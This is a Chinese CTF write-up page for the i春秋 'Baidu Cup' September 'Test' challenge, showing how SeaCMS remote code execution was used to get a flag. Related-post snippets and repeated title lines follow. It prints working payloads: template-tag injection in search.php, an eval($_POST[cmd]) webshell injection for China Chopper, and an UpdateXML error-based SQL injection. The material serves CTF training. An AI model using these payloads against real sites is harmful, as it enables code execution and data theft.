i春秋——“百度杯”CTF比赛九月场——Test（海洋cms / seacms 任意代码执行漏洞）

打开发现是海洋cms，那就搜索相关漏洞

找到一篇介绍海洋cms的命令执行漏洞的文章：https://www.jianshu.com/p/ebf156afda49

直接利用其中给出的poc

/search.php

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

可以执行系统命令

没找到flag，考虑可能在数据库中，想上传一句话，然后用菜刀查数据库来着，但是没有写文件的权限，手动查数据库感觉太麻烦，所以换个exp

海洋cms v6.28命令执行漏洞： https://www.uedbox.com/seacms-v628-0day/

/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

菜刀直接连接

找了好久终于找到数据库配置文件

编辑该条shell配置如下

最后得到flag

原文地址：https://www.cnblogs.com/leixiao-/p/9786034.html

时间： 2024-10-08 01:15:43

i春秋——“百度杯”CTF比赛九月场——Test（海洋cms / seacms 任意代码执行漏洞）的相关文章

i春秋——“百度杯”CTF比赛九月场——123（Apache解析pht,phtml,php3等 php别名）

网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破最后爆破出两个账号登录之后查看源码,发现一个被注释的表单,看似应该存在文件上传漏洞,在页面按F12,更改网页,去掉注释本来想上传一句话的,但是发现就算上传普通图片文件和图片文件名也会提示文件名非法,猜想这里并不是真的文件上传,并不是用菜刀连上找flag.只是构造文件名,并且上传到服务器成为可执行文件便可通过.所以文件内

“百度杯”CTF比赛九月场_Test（海洋cms前台getshell）

题目在i春秋ctf训练营又是一道cms的通用漏洞的题,直接去百度查看通用漏洞这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/search.php?searchtype=5&tid=&area=eval($_POST[1]) 之后用菜刀连接,但乍一看并没有flag.php 反手去查了一下海洋cms的数据库配置文件的存放地址: 出去用菜刀连接数据库编辑完成后右键数据库管理,可以看到flag了原文地址:https://ww

百度杯”CTF比赛九月场Upload ---------i春秋

题目地址:https://www.ichunqiu.com/battalion 创建题目,进入题目环境,看到文件上传的题型,先试着随便上传一个文件1.txt 直接上传成功了!查看一下源码看到上传在这个位置,那么接下来就在文件里加一句话木马,然后上传然后用菜刀链接但是报错了,好像把php给过滤了,试一下用其他方式得到flag 原文地址:https://www.cnblogs.com/zhangyukui/p/11146106.html

“百度杯”CTF比赛九月场_YeserCMS

题目在i春秋ctf大本营题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞这里我利用的是无限报错注入访问url/celive/live/header.php,直接进行报错注入 xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),

“百度杯”CTF比赛九月场_123（文件备份，爆破，上传）

题目在i春秋ctf训练营翻看源码,发现提示: 打开user.php,页面一片空白,参考大佬的博客才知道可能会存在user.php.bak的备份文件,下载该文件可以得到用户名列表拿去burp爆破: 这七百多号人就没个1999年生的?拿1998继续试.....又凉了...一直试到1990年,终于有个大佬是这年的账号lixiuyun,密码lixiuyun1990 进入到一个空白的个人中心直接在火狐查看器中将注释符删除,然后先上传一个图片试试在文件名后加上.php返回不能出现php,那就拿ph

[i春秋]“百度杯”CTF比赛十月场-Hash

前言 111 前言涉及知识点:反序列化. 题目来自:i春秋 hash 如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用或者利用本文章提供的源码自主复现前言点击hahaha进入下一个页面进入之后我们发现这有一段英文说如果不是123 我们就可以获得flag 我们分析URL key部分有个123 我们替换成122试试试了之后不行我们看到hash的值一看就是md5密文直接拿去解密看看有什么发现 http://地址/index.php?key=123&hash=f9109d5f

i春秋百度杯”CTF比赛十月场 login

出现敏感的信息,然后进行登录登录成功发现奇怪的show 然后把show放到发包里面试一下出现了源码,审计代码开始出flag的条件要user 等于春秋然后进行login来源于反序列化后的login 下面进行序列化然后参数为token,可以通过post,get,cookie的方式,但是看到都是用的cookie,我就用post和get 原文地址:https://www.cnblogs.com/haozhizhi/p/10161113.html

i春秋——“百度杯”CTF比赛十月场——Login

根据页面源码提示的 test1 test1 登录刷新此页面并抓包,有个show=0值得关注在发送的包的header中加一句show:1,即可得到member.php的源码 1 <?php 2 include 'common.php'; 3 $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); 4 class db 5 { 6 public $where; 7 function __wakeup() 8 { 9 if(!empt

i春秋——“百度杯”CTF比赛十月场——Vld（Vulcan Logic Dumper 、php opcode、sql 报错注入）

打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>",访问后发现一堆看不懂的东西这肯定就是所谓的Vulcan Logic Dumper了,先了解下相关概念 PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html PHP中的opcode:https://blog.csdn.net/weiyu

i春秋——“百度杯”CTF比赛 九月场——Test（海洋cms / seacms 任意代码执行漏洞）

i春秋——“百度杯”CTF比赛 九月场——Test（海洋cms / seacms 任意代码执行漏洞）的相关文章

i春秋——“百度杯”CTF比赛九月场——Test（海洋cms / seacms 任意代码执行漏洞）

i春秋——“百度杯”CTF比赛九月场——Test（海洋cms / seacms 任意代码执行漏洞）的相关文章